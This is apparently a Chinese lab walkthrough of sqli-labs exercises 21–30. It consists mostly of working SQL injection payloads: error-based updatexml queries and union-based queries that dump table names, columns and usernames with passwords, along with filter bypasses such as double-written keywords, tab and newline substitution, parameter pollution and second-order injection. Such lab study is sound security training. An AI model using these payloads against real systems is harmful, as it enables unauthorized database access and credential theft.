Less-21
步骤一:页面输入admin 123456 登录
可以看见这里返回了很多信息,包括了自己的Cookie。但是Cookie却是一串奇怪的字符串,看得出来这是bse64编码。
解码查看
步骤二:Burp Suite 抓包,并且把抓到的数据发送到重放器上
步骤三:采用报错注⼊函数获取其当前数据库名称
')and updatexml(1,concat(1,database()),1)#编码
步骤四:查表名
')and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#编码
步骤五:查列名
')and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) #编码
步骤六:查看users表中所有信息
')and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)#编码
Less-22
步骤一:页面输入admin 123456 登录
可以看见这里返回了很多信息,包括了自己的Cookie。但是Cookie却是一串奇怪的字符串,看得出来这是bse64编码。
步骤二:Burp Suite 抓包,并且把抓到的数据发送到重放器上
步骤三:采用报错注⼊函数获取其当前数据库名称
"and updatexml(1,concat(1,database()),1)#编码
步骤四:查表名
"and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#编码
步骤五:查列名
"and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) #编码
步骤六:查看users表中所有信息
"and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)#编码
Less-23
步骤一,测试闭合方式
输入单引号报错,但是注释符不管用。猜测注释符被过滤,查看源码果然被注释了,所以我们可以用单引号闭合,发现成功。
?id=1' or '1'='1
步骤二:查看数据库
?id=-1' union select 1,database(),3 or '1'='1
步骤三:查看表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' or '1'='1
步骤四:查列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' or '1'='1
Less-24
二次注入:
步骤一:点击" New User click Here "并注册用户名为 admin'#
步骤二:对注册的账号 admin'# 进⾏登录并修改密码
步骤三:打开数据库查看发现,admin'#密码并没有被改,admin密码被改了
Less-25
页面提示是将or和and这两个替换成空,可以采取双写绕过
步骤一:查看表名
information里面涉及or可以写成infoorrmation
?id=-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+
步骤二:查看列
information里面涉及or可以写成infoorrmation
and改为anandd
?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'--+
Less-26
逻辑运算符,注释符以及空格给过滤了,我们需要使用1'and'进行闭合,逻辑运算符使用双写或者&&和||替换。空格用括号替换
步骤一:查看数据库名
?id=1'||(updatexml(1,concat(1,(select(database()))),1))||'
步骤二:查看表名
?id=1'||(updatexml(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'
步骤三:查看users表中的列名
?id=1'||(updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'
步骤四:查看users表中信息
?id=1'||(updatexml(1,concat(1,(select(group_concat(passwoorrd,username))from(users))),1))||'
Less-27
过滤了空格,select和union,我们可以大小写绕过,空格用%09替换
步骤一:查看数据库名
?id=1'and%09updatexml(1,concat(1,(sElect%09database())),1)and'
步骤二:查看表名
?id=1'and%09updatexml(1,concat(1,(sElect%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='security')),1)and'
步骤三:查看users表中列名
?id=1'and%09updatexml(1,concat(1,(sElect%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='security'%09and%09table_name='users')),1)and'
步骤四:查看users表中信息
?id=1'and%09updatexml(1,concat(1,(sElect%09group_concat(username,password)%09from%09users)),1)and'
Less-28
过滤了空格,union和select,空格用%0A替换,union select双写替换
步骤一:查看表名
?id=99')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1
步骤二:查看users表中列名
?id=99')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1
Less-29
对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入
步骤一:查看数据库名
?id=1&id=-1'union select 1,database(),3 --+
步骤二:查看表名
?id=1&id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
步骤三:查看users表中列名
?id=1&id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
步骤四:查看users表中信息
?id=1&id=-1'union select 1,2,group_concat(id,username,password) from users --+
Less-30
对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入
步骤一:查看数据库名
?id=1&id=-1"union select 1,database(),3 --+
步骤二:查看表名
?id=1&id=-1"union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
步骤三:查看users表中列名
?id=1&id=-1"union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
步骤四:查看users表中信息
?id=1&id=-1"union select 1,2,group_concat(id,username,password) from users --+